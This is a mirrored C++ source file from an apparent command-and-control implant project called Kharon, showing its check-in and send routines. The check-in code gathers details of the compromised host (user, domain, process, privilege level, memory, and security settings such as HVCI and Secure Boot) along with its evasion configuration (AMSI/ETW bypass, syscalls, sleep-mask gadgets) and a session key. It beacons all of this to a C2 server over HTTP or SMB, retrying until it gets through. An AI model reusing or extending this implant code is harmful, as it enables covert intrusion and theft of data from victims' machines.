mirror of
https://github.com/entropy-z/Kharon
synced 2026-06-06 15:34:34 +00:00
186 lines
6.9 KiB
C++
186 lines
6.9 KiB
C++
#include <Kharon.h>
|
|
|
|
auto DECLFN Transport::Checkin(
|
|
VOID
|
|
) -> BOOL {
|
|
PPACKAGE CheckinPkg = Self->Pkg->Checkin();
|
|
PPARSER CheckinPsr = (PPARSER)KhAlloc( sizeof( PARSER ) );
|
|
|
|
KhDbg( "start checkin routine" );
|
|
|
|
PVOID Data = nullptr;
|
|
SIZE_T Length = 0;
|
|
PCHAR NewUUID = nullptr;
|
|
PCHAR OldUUID = nullptr;
|
|
ULONG UUIDsz = 36;
|
|
|
|
//
|
|
// the pattern checkin requirement
|
|
//
|
|
|
|
Self->Pkg->Pad( CheckinPkg, UC_PTR( Self->Session.AgentID ), 36 );
|
|
Self->Pkg->Byte( CheckinPkg, Self->Machine.OsArch );
|
|
Self->Pkg->Str( CheckinPkg, Self->Machine.UserName );
|
|
Self->Pkg->Str( CheckinPkg, Self->Machine.CompName );
|
|
Self->Pkg->Str( CheckinPkg, Self->Machine.DomName );
|
|
Self->Pkg->Str( CheckinPkg, Self->Machine.NetBios );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Session.ProcessID );
|
|
Self->Pkg->Str( CheckinPkg, Self->Session.ImagePath );
|
|
|
|
//
|
|
// custom agent storage for kharon config
|
|
//
|
|
|
|
Self->Pkg->Int32( CheckinPkg, Self->Krnl32.GetACP() );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Krnl32.GetOEMCP() );
|
|
|
|
// some evasion features enable informations
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.Syscall );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.BofProxy );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.AmsiEtwBypass );
|
|
|
|
// killdate informations
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.KillDate.Enabled );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.KillDate.ExitProc );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.KillDate.SelfDelete );
|
|
Self->Pkg->Int16( CheckinPkg, Self->Config.KillDate.Year );
|
|
Self->Pkg->Int16( CheckinPkg, Self->Config.KillDate.Month );
|
|
Self->Pkg->Int16( CheckinPkg, Self->Config.KillDate.Day );
|
|
|
|
// worktime informations
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.Worktime.Enabled );
|
|
Self->Pkg->Int16( CheckinPkg, Self->Config.Worktime.StartHour );
|
|
Self->Pkg->Int16( CheckinPkg, Self->Config.Worktime.StartMin );
|
|
Self->Pkg->Int16( CheckinPkg, Self->Config.Worktime.EndHour );
|
|
Self->Pkg->Int16( CheckinPkg, Self->Config.Worktime.EndMin );
|
|
|
|
// guardrail informations
|
|
Self->Pkg->Str( CheckinPkg, Self->Config.Guardrails.IpAddress ? Self->Config.Guardrails.IpAddress : (PCHAR)"" );
|
|
Self->Pkg->Str( CheckinPkg, Self->Config.Guardrails.HostName ? Self->Config.Guardrails.HostName : (PCHAR)"" );
|
|
Self->Pkg->Str( CheckinPkg, Self->Config.Guardrails.UserName ? Self->Config.Guardrails.UserName : (PCHAR)"" );
|
|
Self->Pkg->Str( CheckinPkg, Self->Config.Guardrails.DomainName ? Self->Config.Guardrails.DomainName : (PCHAR)"" );
|
|
|
|
// additional session informations
|
|
Self->Pkg->Str( CheckinPkg, Self->Session.CommandLine );
|
|
Self->Pkg->Int64( CheckinPkg, Self->Session.HeapHandle );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Session.Elevated );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.Jitter );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.SleepTime );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Session.ParentID );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Session.ProcessArch );
|
|
Self->Pkg->Int64( CheckinPkg, Self->Session.Base.Start );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Session.Base.Length );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Session.ThreadID );
|
|
|
|
// fork informations
|
|
Self->Pkg->Wstr( CheckinPkg, Self->Config.Postex.Spawnto );
|
|
Self->Pkg->Str( CheckinPkg, Self->Config.Postex.ForkPipe );
|
|
|
|
// mask informations
|
|
Self->Pkg->Int64( CheckinPkg, Self->Config.Mask.JmpGadget );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.Mask.Heap );
|
|
Self->Pkg->Int64( CheckinPkg, Self->Config.Mask.NtContinueGadget );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Config.Mask.Beacon );
|
|
|
|
// additional machine informations
|
|
Self->Pkg->Str( CheckinPkg, Self->Machine.ProcessorName );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.IpAddress );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.TotalRAM );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.AvalRAM );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.UsedRAM );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.PercentRAM );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.ProcessorsNbr );
|
|
|
|
// win version
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.OsMjrV );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.OsMnrV );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.OsBuild );
|
|
|
|
// memory info
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.AllocGran );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.PageSize );
|
|
|
|
// security informations
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.CfgEnabled );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.HvciEnabled );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.DseEnabled );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.TestSigningEnabled );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.DebugModeEnabled );
|
|
Self->Pkg->Int32( CheckinPkg, Self->Machine.SecureBootEnabled );
|
|
|
|
// encryption key
|
|
Self->Pkg->Bytes( CheckinPkg, Self->Crp->LokKey, sizeof( Self->Crp->LokKey ) );
|
|
|
|
// SMB pipe name (empty string for HTTP beacons)
|
|
Self->Pkg->Str( CheckinPkg, Self->Tsp->Pipe.Name ? Self->Tsp->Pipe.Name : (PCHAR)"" );
|
|
|
|
//
|
|
// send the packet
|
|
//
|
|
while ( ! Self->Pkg->Transmit( CheckinPkg, &Data, &Length ) ) {
|
|
Self->Mk->Main( Self->Config.SleepTime );
|
|
}
|
|
|
|
KhDbg( "transmited return %p [%d bytes]", Data, Length );
|
|
|
|
//
|
|
// If no response data (SMB checkin — parent reads data, no response on pipe)
|
|
// just mark as connected and return.
|
|
//
|
|
if ( ! Data || ! Length ) {
|
|
Self->Session.Connected = TRUE;
|
|
Self->Ntdll.DbgPrint( "[SMB] Checkin sent, no response expected — marked as connected\n" );
|
|
return TRUE;
|
|
}
|
|
|
|
//
|
|
// HTTP checkin: parse response with new agent ID
|
|
//
|
|
Self->Psr->New( CheckinPsr, Data, Length );
|
|
if ( ! CheckinPsr->Original ) return FALSE;
|
|
|
|
//
|
|
// parse old uuid and new uuid
|
|
//
|
|
OldUUID = (PCHAR)Self->Psr->Pad( CheckinPsr, 36 );
|
|
NewUUID = (PCHAR)Self->Psr->Pad( CheckinPsr, 36 );
|
|
|
|
KhDbg( "old uuid: %s", OldUUID );
|
|
KhDbg( "new uuid: %s", NewUUID );
|
|
|
|
Self->Session.AgentID = A_PTR( KhAlloc( UUIDsz ) );
|
|
Mem::Copy( Self->Session.AgentID, NewUUID, UUIDsz );
|
|
|
|
//
|
|
// validate checkin response
|
|
//
|
|
if ( ( NewUUID && Str::CompareA( NewUUID, Self->Session.AgentID ) != 0 ) ) {
|
|
Self->Session.Connected = TRUE;
|
|
}
|
|
|
|
KhDbg( "set uuid: %s", Self->Session.AgentID );
|
|
|
|
Self->Session.Connected = TRUE;
|
|
|
|
KhDbg( "checkin routine done..." );
|
|
|
|
return Self->Session.Connected;
|
|
}
|
|
|
|
auto Transport::Send(
|
|
_In_ MM_INFO* SendData,
|
|
_Out_opt_ MM_INFO* RecvData
|
|
) -> BOOL {
|
|
#if PROFILE_C2 == PROFILE_HTTP
|
|
Self->Ntdll.DbgPrint( "[TRANSPORT] Send via HTTP\n" );
|
|
return Self->Tsp->HttpSend(
|
|
SendData, RecvData
|
|
);
|
|
#endif
|
|
#if PROFILE_C2 == PROFILE_SMB
|
|
Self->Ntdll.DbgPrint( "[TRANSPORT] Send via SMB\n" );
|
|
return Self->Tsp->SmbSend(
|
|
SendData, RecvData
|
|
);
|
|
#endif
|
|
} |